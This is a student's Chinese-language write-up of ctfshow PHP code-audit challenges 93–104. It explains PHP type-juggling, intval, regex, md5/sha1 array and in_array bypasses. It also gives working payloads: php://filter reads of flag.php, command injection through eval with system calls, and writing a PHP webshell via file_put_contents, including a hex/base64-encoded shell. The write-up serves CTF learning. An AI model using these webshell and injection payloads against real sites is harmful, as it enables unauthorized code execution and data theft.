這周要學習的是php代碼審計 根據師兄的作業 來做web入門的93-104關
93關
看代碼 進行分析
他的主函數
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
????$num?=?$_GET['num'];
????if($num==4476){
????????die("no?no?no!");
????}
????if(preg_match("/[a-z]/i",?$num)){
????????die("no?no?no!");
????}
????if(intval($num,0)==4476){
????????echo?$flag;
????}else{
????????echo?intval($num,0);
????}
?解析:
輸入一個變量 num 進行get傳參 如果num=4476 返回錯誤?
傳入num 用函數preg_match進行匹配,如果匹配到則返回錯誤
再根據intval函數的取整的特性,傳入payload:?num=4476.1/?num=
010574(加0是因為intval
函數檢測時字符串以 "0" 開始,使用 8 進制)
知識點:
php中使用兩個等號“==” 比較,只比較值,不比較類型(兩個等號是弱類型比較,他會將兩邊自動轉換為同一種類型后再進行比較。所以他比較的就只是值 ,不比較類型。)
intval
函數用于獲取變量的整數值,intval() 函數通過使用指定的進制 base 轉換(默認是十進制),返回變量 var 的 integer 數值。
如果 base 是 0,通過檢測 var 的格式來決定使用的進制:
- 如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
- 如果字符串以 "0" 開始,使用 8 進制(octal);否則,
- 將使用 10 進制 (decimal)。
實例:
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
94關
?只比93關多了一個? !strpos($num,?"0")
知識點:
strpos() 函數查找字符串在另一字符串中第一次出現的位置(區分大小寫)。
解析:
我們還是可以利用8進制進行繞過或者小數繞過,但是因為strpos函數特性 要在8進制前加+或者加空格 ,小數應該是0 payload:?num=4476.0/?num=+010574
95關
解析:
??if(preg_match("/[a-z]/i",?$num)){
?if(preg_match("/[a-z]|\./i",?$num)){? 95關
與之前不同的地方在正則匹配這里,多了一個. 其他的沒變
還是用之前的payload:?num=+010574
96關
?
知識點:
這題看到了flag.php 應該是讓我們找文件路徑的題,找文件路徑可以用
php偽協議filter
/var/www/html/flag.php(/var/www/html 只是Web服務器的默認根文件夾)
./flag.php(在linux下面表示當前目錄是 "./" " . ./"代表上一層目錄 “/”:代表根目錄.)
解析:
payload:/var/www/html/flag.php??? ./flag.php??? php://filter/resource=flag.php
php://filter/read=convert.base64-encode/resource=flag.php (base64編碼的偽協議使用)
97關
?知識點:
屬于php md5強比較繞過
在 php 中,=== 代表著強比較,不僅僅會比較值,還會比較類型。因此這里不能在使用上面的方式進行繞過了。
要繞過此處的比較,需要向 md5() 函數中傳入數組,md5() 函數中如果傳入的不是字符串而是數組,不但md5()函數不會報錯,結果還會返回null,在強比較里面null=null為 True 繞過。
解析:
因此這里可以使用數組繞過
payload:a[]=1&b[]=2
是post傳參而不是get傳參
98關
知識點:
php三元換算符
解析:
?$_GET?$_GET=&$_POST:'flag' 如果存在GET請求,則用POST請求傳入的值將其覆蓋掉.
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__ GET傳入的HTTP_FLAG的值為flag,則輸出flag.
所以POST:HTTP_FLAG=flag;GET隨便傳什么都行.
?
99關
?知識點:
array函數
array_push函數
?in_array函數
file_put_contents() 函數把一個字符串寫入文件中。
該函數訪問文件時,遵循以下規則:
- 如果設置了 FILE_USE_INCLUDE_PATH,那么將檢查 *filename* 副本的內置路徑
- 如果文件不存在,將創建一個文件
- 打開文件
- 如果設置了 LOCK_EX,那么將鎖定文件
- 如果設置了 FILE_APPEND,那么將移至文件末尾。否則,將會清除文件的內容
- 向文件中寫入數據
- 關閉文件并對所有文件解鎖
如果成功,該函數將返回寫入文件中的字符數。如果失敗,則返回 False。
解析:
通過看這三個函數,知道了$allow?=?array()是設置了數組
0x36d是877的十六進制。for語句是一個循環結構,$i從36開始,每次與877作比較,只要小于877,則讓$i加1。每次for語句執行成功,也就是加1都會執行下面的array_push函數。
array_push($allow
,?rand(1,$i))是
在1-$i之間隨機生成一個整數,添加到數組$allow尾部
if(isset($_GET['n'])?&&?in_array($_GET['n'],?$allow))
從這里可以看出in_array函數使用的是弱比較 因為他沒有設置第三個參數為true 所以我們傳入1.php就相當于傳入了1 這里也是這題的主要考點
file_put_contents($_GET['n'],?$_POST['content']);
這句話就是get傳參并用post傳入內容
所以post就可以傳入命令執行語句,get傳入1.php就可以繞過,因為數字1正好在 range(1,24)數組中,當隨機生成的數字正好是1時就可以繞過 in_array()函數判斷
解析:
payload: get: ?n=1.php?? post:? content=<?php system('ls');?>
傳入以后就可以找到1.php的頁面執行命令找到了存放flag的文件
再用2.php讀取flag文件
?
100關
?知識點:
考察的是運算符的優先級? :&& > || > = > and > or
運算符優先級的劃分如下:
()小括號優先級最高
! 優先級高于 算術運算符
算術運算符 優先級高于 關系運算符
關系運算符優先級高于 "&&"和"||"
"&&"和"||"優先級高于 "="
運算符的種類還有很多,在往后的學習中我們就會慢慢地接觸到,所以,在同一行代碼中,
如果出現多種不同優先級的運算符時,最好還是加上小括號,這樣才會比較直觀。
(3)同等優先級的運算符,執行順序的劃分:
算術運算符 —— 乘法、除法、取余運算 優先級高于 加法、減法。
算術運算符 —— 乘法、除法、取余運算 出現在同一行代碼中,則按從左到右的順序執行。
算術運算符 —— 加法、減法, 出現在同一行代碼中,則按從左到右的順序執行。
關系運算術——出現在同一行代碼中,按從左往右順序執行。
?
??
?解析:
is_numeric函數 用于檢測變量是否為數字或數字字符串
$v0=is_numeric($v1)?and?is_numeric($v2)?and?is_numeric($v3); 關鍵在這句
因為=比and優先 所以v0的值是v1賦的 所以v0=is_numeric($v1) 看到代碼后面有eval函數
想到命令執行
這需要$v2
傳入命令,$v3
需要;
結尾,但這么一來is_numeric一處理就變成了
$vo = $v1 and FALSE and FAlse
if(!preg_match("/\;/",?$v2)){
????????if(preg_match("/\;/",?$v3))
再根據這兩句,v2必須沒有;v3必須有;
payload:
/?v1=1&v2=system('ls')&v3=;
找到了包含flag的文件 但是點開什么都沒有 打開ctfshow.php看看
/?v1=1&v2=system('tac ctfshow.php')&v3=;???? (這里用tac的原因是發現cat不行然后換了一下)
發現了flag 0x2d是16進制的- 轉換一下就好了
101關
?
不一樣的地方在于把v2 v3的條件給改了
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/",?$v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/",?$v3)){
知識點
新學習到了反射
反射,通俗來講就是可以通過一個對象來獲取所屬類的具體內容,php中內置了強大的反射API:
??? ReflectionClass:一個反射類,功能十分強大,內置了各種獲取類信息的方法,創建方式為new ReflectionClass(str 類名),可以用echo new ReflectionClass(‘className’)打印類的信息。
??? ReflectionObject:另一個反射類,創建方式為new ReflectionObject(對象名)。
?
API:API 就是應用程序編程接口。它是能用來操作組件、應用程序或者操作系統的一組函數
php反射類_php 反射類_raoxiaoya的博客-CSDN博客具體的可以看這個大佬的博客 就不做具體說明了
所以我們在這里可以直接用反射類的方法來做這道題
解析:
payload:?v1=1&v2=echo new ReflectionClass&v3=;
這里的flag是少了一位的 可以用bp抓包爆破 也可以一個一個字符嘗試
102關
?
?知識點:
substr() 函數返回字符串的一部分。
注釋:如果 start 參數是負數且 length 小于或等于 start,則 length 為 0。
?call_user_func():調用一個回調函數處理字符串,
可以用匿名函數,可以用有名函數,可以傳遞類的方法,
用有名函數時,只需傳函數的名稱
用類的方法時,要傳類的名稱和方法名
傳遞的第一個參數必須為函數名,或者匿名函數,或者方法
其他參數,可傳一個參數,或者多個參數,這些參數會自動傳遞到回調函數中
而回調函數,可以通過傳參,獲取這些參數
返回回調函數處理后的結果
【php】php中call_user_func函數的用法_call_user_func用在什么時候_yanhui_wei的博客-CSDN博客
解析:
<?phphighlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3); 通過將變量v2執行的命令base64加密后轉換成16進制字符串來使得變量v4為ture
if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s);
通過變量v1調用hex2bin函數將變量v2的16進制字符串轉換成原來的base64編碼形式(因為這里v2只使用數字 并且是在第二位之后即第三位開始讀取suo'y)
echo $str; file_put_contents($v3,$str);
通過使用php://filter偽協議寫入webshell
get傳參v2和v3,post傳參v1;if中需要v4為真才能往下執行,而v4要為真就是v2傳的參數要為數字或者數字字符串,同時v2也是我們要寫入的webshell,為了讓v2為數字或者數字字符串,我們可以先把我們的webshell轉換為base64編碼,再把base64編碼轉換為16進制,這是一種辦法去轉換成數字。
payload:
get:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
(<?=`cat *`;——base64:PD89YGNhdCAqYDs=——16進制:5044383959474e6864434171594473) (v3為偽協議)
?
在訪問1.php 得到flag
?103關
看代碼發現和102關沒什么區別 該繞過的都用base64以及16進制繞過了 可以沿用102關的payload
都是在頁面的源代碼里找到的flag
104關
?知識點:
sha1()函數特性,sha1函數無法處理數組,遇到數組會返回NULL
解析:
get傳入v2 post傳入v1 讓兩個變量的sha1值相等 用的是弱比較
payload: get: v2[]=1? post: v1[]=1
得到flag
php代碼審計作業題到此結束 通過這些題也找到了代碼審計方面的做題思路,一些不認識的函數也認識了不少 但是不足也很明顯,好多函數的特性并沒有了解過,看到簡單的代碼還行 如果有復雜的代碼還是頭大 欠缺的地方很多 到實際的時候也沒有那么多時間讓你去查函數? 還是要花功夫去記函數的
?
?